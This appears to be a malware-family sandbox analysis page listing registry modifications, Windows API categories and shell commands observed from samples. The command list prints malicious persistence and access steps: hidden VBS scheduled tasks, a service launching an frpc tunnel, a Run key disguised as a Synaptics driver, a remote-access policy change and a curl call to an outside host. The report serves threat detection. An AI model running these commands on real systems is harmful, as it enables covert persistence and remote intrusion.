| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 뗅像㝀ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | ⇖僶㝀ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 됐瀘䍢ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 繍喺䑵ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | ꔗ嗁䑵ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 迒礇䓎ǜ | RegNtPreCreateKey |
| HKCU\software\microsoft\windows\currentversion\explorer::slowcontextmenuentries | RegNtPreCreateKey | |
| HKCU\software\microsoft\windows\currentversion\internet settings\5.0\cache\content::cacheprefix | RegNtPreCreateKey | |
| HKCU\software\microsoft\windows\currentversion\internet settings\5.0\cache\cookies::cacheprefix | Cookie: | RegNtPreCreateKey |
| HKCU\software\microsoft\windows\currentversion\internet settings\5.0\cache\history::cacheprefix | Visited: | RegNtPreCreateKey |
| HKCU\software\microsoft\edge\blbeacon::failed_count | RegNtPreCreateKey | |
| HKCU\software\microsoft\edge\blbeacon::state | RegNtPreCreateKey | |
| HKCU\software\microsoft\edge\thirdparty::statuscodes | (NULL) | RegNtPreCreateKey |
| HKCU\software\microsoft\edge\thirdparty::statuscodes | RegNtPreCreateKey | |
| HKCU\software\microsoft\edge\elfbeacon::version | 141.0.3537.92 | RegNtPreCreateKey |
| HKCU\software\microsoft\edge\blbeacon::state | RegNtPreCreateKey | |
| HKLM\software\microsoft\windows nt\currentversion\notifications\data::418a073aa3bc1c75 | RegNtPreCreateKey | |
| HKLM\software\microsoft\windows nt\currentversion\notifications\data::418a073aa3bc1c75 | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | ឹ谨䗠ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | ௫烺䜧ǜ | RegNtPreCreateKey |
| HKLM\software\microsoft\active setup\installed components\{89820200-ecbd-11cf-8b85-00aa005b4383}::isinstalled | RegNtPreCreateKey | |
| HKLM\software\clients\startmenuinternet\iexplore.exe\installinfo::iconsvisible | RegNtPreCreateKey | |
| HKLM\software\microsoft\windows\currentversion\setup\oc manager\subcomponents::ieaccess | RegNtPreCreateKey | |
| HKLM\software\microsoft\internet explorer\capabilities::hidden | RegNtPreCreateKey | |
| HKCU\software\microsoft\internet explorer\main::disablefirstruncustomize | RegNtPreCreateKey | |
| HKCU\software\microsoft\internet explorer\suggested sites::logfilefolder | C:\Users\Ddvrlcbi\AppData\Local\Microsoft\Windows\INetCache\Low | RegNtPreCreateKey |
| HKCU\software\microsoft\windows\currentversion\explorer\clsid\{871c5380-42a0-1069-a2ea-08002b30309d}\shellfolder::attributes | RegNtPreCreateKey | |
| HKCU\local settings\software\microsoft\windows\currentversion\appcontainer\mappings\s-1-15-2-1430448594-2639229838-973813799-439329657-1197984847-4069167804-1277922394::displayname | windows_ie_ac_001 | RegNtPreCreateKey |
| HKCU\software\microsoft\internet explorer\browseremulation::cvlistttl | RegNtPreCreateKey | |
| HKCU\software\microsoft\active setup\installed components\{89820200-ecbd-11cf-8b85-00aa005b4383}::locale | * | RegNtPreCreateKey |
| HKCU\software\microsoft\active setup\installed components\{89820200-ecbd-11cf-8b85-00aa005b4383}::version | 11,3570,19041,0 | RegNtPreCreateKey |
| HKLM\software\microsoft\windows nt\currentversion\notifications\data::418a073aa3bc1c75 | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | ꣖뇛䟙ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | К哃䫦ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 洬ꤞ䭏ǜ | RegNtPreCreateKey |
| HKLM\software\wow6432node\microsoft\windows\currentversion\uninstall\escapefromtarkov::installlocation | c:\Users\user\downloads\Install_EFT | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 匨稑䱢ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | ⽡脘冈ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 滎閦刜ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 显풮厌ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 觮ĕ呗ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 쨊契唗ǜ | RegNtPreCreateKey |
| HKCU\software\microsoft\windows\currentversion\explorer::slowcontextmenuentries | RegNtPreCreateKey | |
| HKCU\software\microsoft\windows\currentversion\explorer::slowcontextmenuentries | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | ⸤嚏ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | ꙲賅圎ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 湨䵻ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 藠耻姍ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | ؚ낸娊ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 놝娊ǜ | RegNtPreCreateKey |
| HKLM\software\microsoft\rfc1156agent\currentversion\parameters::trappolltimemillisecs | 㪘 | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 㶂Ꚙ书ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 臛믚俪ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 鎅鉅唔ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | 묅鉌唔ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 瀕寙嘏ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 냏㎥捥ǜ | RegNtPreCreateKey |
| HKLM\software\microsoft\windows nt\currentversion\notifications\data::418a073aa3bc1c75 | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 敦娅ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | ᧪刞杓ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 䘐剛杓ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | ꕮ勌杓ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 傄卛杓ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 㼞咪杓ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 姰哨杓ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | ᚻ⼍柇ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 叀Ꞿ栗ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 㖲퇵棠ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | ⯃❹洉ǜ | RegNtPreCreateKey |
| HKCU\software\microsoft\windows\shell\associations\urlassociations\https\userchoice::progid | MSEdgeHTM | RegNtPreCreateKey |
| HKCU\software\microsoft\windows\shell\associations\urlassociations\https\userchoice::hash | JrUbLuG0NXI= | RegNtPreCreateKey |
| HKCU\software\microsoft\windows\currentversion\explorer::slowcontextmenuentries | RegNtPreCreateKey | |
| HKCU\software\microsoft\windows\currentversion\applicationassociationtoasts::undecided_https | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | ㈽Æ溯ǜ | RegNtPreCreateKey |
| HKCU\control panel\desktop::enableperprocesssystemdpi | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\windowspowershell\v1.0\powershell.exe | 옍ĩ溯ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | ❻烌ǜ | RegNtPreCreateKey |
| HKCU\software\microsoft\windows\currentversion\applicationassociationtoasts::vbsfile_.vbs | RegNtPreCreateKey | |
| HKCU\local settings\software\microsoft\windows\shell\muicache::c:\windows\system32\wscript.exe.friendlyappname | Microsoft ® Windows Based Script Host | RegNtPreCreateKey |
| HKCU\local settings\software\microsoft\windows\shell\muicache::c:\windows\system32\wscript.exe.applicationcompany | Microsoft Corporation | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 綴篣琦ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | ꡪ簠琦ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | ｬ簥琦ǜ | RegNtPreCreateKey |
| HKCU\software\microsoft\windows\currentversion\gamedvr::appcaptureenabled | RegNtPreCreateKey | |
| HKCU\system\gameconfigstore::gamedvr_enabled | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 탏䒸瑳ǜ | RegNtPreCreateKey |
| HKLM\software\microsoft\tracing\mprapi::enablefiletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\mprapi::enableautofiletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\mprapi::enableconsoletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\mprapi::filetracingmask | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\mprapi::consoletracingmask | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\mprapi::maxfilesize | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\mprapi::filedirectory | %windir%\tracing | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | ꆈ뾴畳ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 浯쥪痣ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 볏즧痣ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 箏痱ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 햯篔痱ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\ucpd::edgepartnercode | UCPD | RegNtPreCreateKey |
| HKCU\software\microsoft\windows\currentversion\explorer::slowcontextmenuentries | RegNtPreCreateKey | |
| HKCU\local settings\muicache\1b\52c64b7e::@c:\windows\system32\ieframe.dll,-55175 | Internet Explorer | RegNtPreCreateKey |
| HKLM\software\microsoft\windows nt\currentversion\notifications\data::418a073aa3bc1c75 | RegNtPreCreateKey | |
| HKLM\software\microsoft\windows nt\currentversion\notifications\data::418a073aa3bc1c75 | RegNtPreCreateKey | |
| HKLM\software\microsoft\windows nt\currentversion\notifications\data::418a073aa3bc1c75 | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 鸸騫眈ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 羡埓矏ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | 䘁埘矏ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 焵疘ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 罹禕ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 珁賷癎ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 粱軙癎ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | ᇲ遭矻ǜ | RegNtPreCreateKey |
| HKLM\software\microsoft\cryptography\oid\encodingtype 0\cryptdllfindoidinfo\1.3.6.1.4.1.311.60.3.1!7::name | szOID_ROOT_PROGRAM_AUTO_UPDATE_CA_REVOCATION | RegNtPreCreateKey |
| HKLM\software\microsoft\cryptography\oid\encodingtype 0\cryptdllfindoidinfo\1.3.6.1.4.1.311.60.3.2!7::name | szOID_ROOT_PROGRAM_AUTO_UPDATE_END_REVOCATION | RegNtPreCreateKey |
| HKLM\software\microsoft\cryptography\oid\encodingtype 0\cryptdllfindoidinfo\1.3.6.1.4.1.311.60.3.3!7::name | szOID_ROOT_PROGRAM_NO_OCSP_FAILOVER_TO_CRL | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | ⮷옧縁ǜ | RegNtPreCreateKey |
| HKLM\software\microsoft\windows nt\currentversion\notifications\data::418a073aa3bc1c75 | RegNtPreCreateKey | |
| HKLM\software\wow6432node\microsoft\windows\currentversion\run::synaptics pointing device driver | C:\ProgramData\Synaptics\Synaptics.exe | RegNtPreCreateKey |
| HKLM\software\microsoft\windows nt\currentversion\notifications\data::418a073aa3bc1c75 | RegNtPreCreateKey | |
| HKLM\software\microsoft\windows nt\currentversion\notifications\data::418a073aa3bc3475 | RegNtPreCreateKey | |
| HKLM\software\microsoft\windows nt\currentversion\notifications\data::418a073aa3bc1c75 | RegNtPreCreateKey | |
| HKLM\software\microsoft\windows nt\currentversion\notifications\data::418a073aa3bc1c75 | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 䧛嶡芬ǜ | RegNtPreCreateKey |
| HKCU\local settings\muicache\1b\52c64b7e::@c:\windows\system32\ndfapi.dll,-40001 | Windows Network Diagnostics | RegNtPreCreateKey |
| HKLM\software\microsoft\windows nt\currentversion\notifications\data::418a073aa3bc1c75 | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 뒑鎑老ǜ | RegNtPreCreateKey |
730 additional registry modifications are not displayed above.
Windows API Usage
Windows API Usage
This section lists Windows API calls that are used by the samples in this family. Windows API usage analysis is a valuable tool that can help identify malicious activity, such as keylogging, security privilege escalation, data encryption, data exfiltration, interference with antivirus software, and network request manipulation.| Category | API |
|---|---|
| Process Shell Execute |
|
| Syscall Use |
Show More
208 additional items are not displayed above. |
| Process Terminate |
|
| User Data Access |
|
| Encryption Used |
|
| Other Suspicious |
|
| Process Manipulation Evasion |
|
| Network Winsock2 |
|
| Network Winsock |
Show More
|
| Keyboard Access |
|
| Anti Debug |
|
| Service Control |
|
| Network Icmp |
|
Shell Command Execution
Shell Command Execution
This section lists Windows shell commands that are run by the samples in this family. Windows Shell commands are often leveraged by malware for nefarious purposes and can be used to elevate security privileges, download and launch other malware, exploit vulnerabilities, collect and exfiltrate data, and hide malicious activity.
"C:\WINDOWS\sysnative\cmd" /c "\52B4.tmp\52B5.tmp\52B6.bat c:\users\user\downloads\d225bd08b44624049ac7c912ac0978c814f68b41_0000167424.exe"
|
C:\WINDOWS\system32\mode.com mode 1
|
C:\WINDOWS\system32\taskkill.exe taskkill -im "VALORANT-Win64-Shipping.exe" -f
|
"C:\WINDOWS\sysnative\cmd" /c "\4AD5.tmp\4AD6.tmp\4AE6.bat c:\users\user\downloads\a76667a5775b60ae2c98af597649783d6b4b57ea_0000282624.exe"
|
"C:\WINDOWS\sysnative\cmd" /c "\5499.tmp\54A9.tmp\54AA.bat c:\users\user\downloads\6df5a47d76c061ae34982fad94f0bf0d8cdf6231_0000121856.exe"
|
Show More
"C:\WINDOWS\sysnative\cmd" /c "\44A6.tmp\44A7.tmp\44B8.bat c:\users\user\downloads\196abdfb4ff77993f88f162aff2caca8cf0ee27d_0000091136.exe"
|
C:\WINDOWS\system32\net.exe net stop spooler
|
C:\WINDOWS\system32\net.exe net start spooler
|
"C:\WINDOWS\sysnative\cmd" /c "\5F38.tmp\5F39.tmp\5F49.bat c:\users\user\downloads\61fcc5c92c1943773edc11473825897339dec7b4_0000091136.exe"
|
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -File "c:\Users\user\downloads\RomexisBurner-FullGUI.ps1"
|
"C:\WINDOWS\sysnative\cmd" /c "\EC4B.tmp\EC4C.tmp\EC5D.bat c:\users\user\downloads\d758b4b1aa5b98ebb13418188d2e5dca9f673b9f_0000091136.exe"
|
"C:\Users\Bnmoygaj\AppData\Local\Temp\is-J0EMQ.tmp\652f6c89bf9170d41d6213b77a493c24ca74e2a8_0005770421.tmp" /SL5="$40028,5265378,159232,c:\users\user\downloads\652f6c89bf9170d41d6213b77a493c24ca74e2a8_0005770421.exe"
|
"C:\WINDOWS\sysnative\cmd" /c "\67C3.tmp\67C4.tmp\67C5.bat c:\users\user\downloads\2e64f09a8a3e093d79e20affff83e328043f29ca_0000158720.exe"
|
"C:\WINDOWS\sysnative\cmd" /c "\C7E7.tmp\C7E8.tmp\C7E9.bat c:\users\user\downloads\a3f638b0b99ca22507bd4be393f7b7b8477f85f5_0000368640.exe"
|
C:\WINDOWS\system32\curl.exe curl -s "https://portalerichieste.it/API/gestioneFile?token=g7x9l2qw3ykt84vpm6ajd5rnc-pal&myMenu&ver=5.3"
|
"C:\WINDOWS\sysnative\cmd" /c "\DB10.tmp\DB21.tmp\DB22.bat c:\users\user\downloads\2fa6bb3dc5eb9688f3ab7d445874933b20f0f7d6_0000321536.exe"
|
C:\Windows\System32\reg.exe reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation" /v "Model"
|
C:\Users\Gkyzesen\AppData\Local\Temp\IXP000.TMP\B3o34.exe
|
C:\Users\Gkyzesen\AppData\Local\Temp\IXP001.TMP\1G10A9.exe
|
C:\Users\Gkyzesen\AppData\Local\Temp\IXP001.TMP\2z0907.exe
|
open C:\WINDOWS\sysnative\cmd /c "\431F.tmp\4330.tmp\4331.bat c:\users\user\downloads\a1dff17507721b4a8a0cd8cf8ef3d135a14c1f33_0002915840.exe"
|
C:\WINDOWS\system32\tasklist.exe tasklist /FI "IMAGENAME eq svchost32.exe"
|
C:\WINDOWS\system32\find.exe find /I "svchost32.exe"
|
WriteConsole: ERROR: CoInitial
|
C:\WINDOWS\system32\attrib.exe attrib +h +s "C:\Users\Ndaxaxgn\AppData\Roaming\windowshost"
|
C:\WINDOWS\system32\attrib.exe attrib +h "C:\Users\Ndaxaxgn\AppData\Roaming\windowshost\*"
|
C:\WINDOWS\system32\attrib.exe attrib +h "C:\Users\Ndaxaxgn\AppData\Roaming\windowshost\runhidden.vbs"
|
C:\WINDOWS\system32\schtasks.exe schtasks /create /tn "WindowsHostService" /tr "wscript.exe \"C:\Users\Ndaxaxgn\AppData\Roaming\windowshost\runhidden.vbs\"" /sc onlogon /rl highest /f
|
WriteConsole: Access is denied
|
"C:\WINDOWS\sysnative\cmd" /c "\97AB.tmp\97AC.tmp\97AD.bat c:\users\user\downloads\611af08fa125bb06c6ffda91f07bb071740f1cb5_0000136704.exe"
|
C:\Windows\System32\reg.exe Reg.exe query "HKU\S-1-5-19\Environment"
|
C:\Windows\System32\reg.exe Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\stornvme\Parameters" /v "StorNVMeAllowZeroLatency" /t REG_DWORD /d "1" /f
|
C:\Windows\System32\reg.exe Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\stornvme\Parameters" /v "QueueDepth" /t REG_DWORD /d "64" /f
|
C:\Windows\System32\reg.exe Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\stornvme\Parameters" /v "NvmeMaxReadSplit" /t REG_DWORD /d "4" /f
|
C:\Windows\System32\reg.exe Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\stornvme\Parameters" /v "NvmeMaxWriteSplit" /t REG_DWORD /d "4" /f
|
C:\Windows\System32\reg.exe Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\stornvme\Parameters" /v "ForceFlush" /t REG_DWORD /d "1" /f
|
C:\Windows\System32\reg.exe Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\stornvme\Parameters" /v "ImmediateData" /t REG_DWORD /d "1" /f
|
C:\Windows\System32\reg.exe Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\stornvme\Parameters" /v "MaxSegmentsPerCommand" /t REG_DWORD /d "256" /f
|
C:\Windows\System32\reg.exe Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\stornvme\Parameters" /v "MaxOutstandingCmds" /t REG_DWORD /d "256" /f
|
C:\Windows\System32\reg.exe Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\stornvme\Parameters" /v "ForceEagerWrites" /t REG_DWORD /d "1" /f
|
C:\Windows\System32\reg.exe Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\stornvme\Parameters" /v "MaxQueuedCommands" /t REG_DWORD /d "256" /f
|
C:\Windows\System32\reg.exe Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\stornvme\Parameters" /v "MaxOutstandingIORequests" /t REG_DWORD /d "256" /f
|
C:\Windows\System32\reg.exe Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\stornvme\Parameters" /v "NumberOfRequests" /t REG_DWORD /d "1500" /f
|
"C:\WINDOWS\sysnative\cmd" /c "\52D4.tmp\52E4.tmp\52E5.bat c:\users\user\downloads\36e41c15e33fae9a43bf653bc73f8733120e5020_0005888512"
|
C:\WINDOWS\system32\reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /f /v LocalAccountTokenFilterPolicy /t Reg_DWORD /d 1
|
C:\WINDOWS\system32\sc.exe sc create kernels binPath="C:\WINDOWS\system32\cmd.exe /c start C:\Users\Tfebyfkc\AppData\Roaming\frpc.exe -c C:\Users\Tfebyfkc\AppData\Roaming\win.toml" DisplayName= "kernelservice" type=own start=auto
|
C:\WINDOWS\system32\sc.exe sc start kernels
|
(NULL) WLU_x86.exe
|
"C:\WINDOWS\sysnative\cmd" /c "\5506.tmp\5526.tmp\5527.bat c:\users\user\downloads\b7aef8840a2d2c86aa41fa78dd37a365f9c03216_0000968704"
|
C:\WINDOWS\system32\Dism.exe dism /Online /Remove-Capability /CapabilityName:Print.Management.Console~~~~0.0.1.0
|
C:\WINDOWS\system32\Dism.exe dism /Online /add-Capability /CapabilityName:Print.Management.Console~~~~0.0.1.0
|
"C:\WINDOWS\sysnative\cmd" /c "\4552.tmp\4553.tmp\4554.bat c:\users\user\downloads\1ac14b67f79ca60c6d2a7f531dbeda86153edb92_0000126464"
|
"C:\WINDOWS\sysnative\cmd" /c "\5804.tmp\5814.tmp\5815.bat c:\users\user\downloads\7afe06c3f36649a6cf3c859b97c975ed20018f55_0000091136"
|
"C:\WINDOWS\sysnative\cmd" /c "\D937.tmp\D938.tmp\D939.bat c:\users\user\downloads\525e45acb542f56394bd478596a58df03e4e6aa6_0000956416"
|
C:\WINDOWS\system32\chcp.com chcp 65001
|
"C:\WINDOWS\sysnative\cmd" /c "\7BCE.tmp\7BCF.tmp\7BD0.bat c:\users\user\downloads\69e22ec07d8ed9552db47640eca6bf3eacec4f99_0000093184"
|
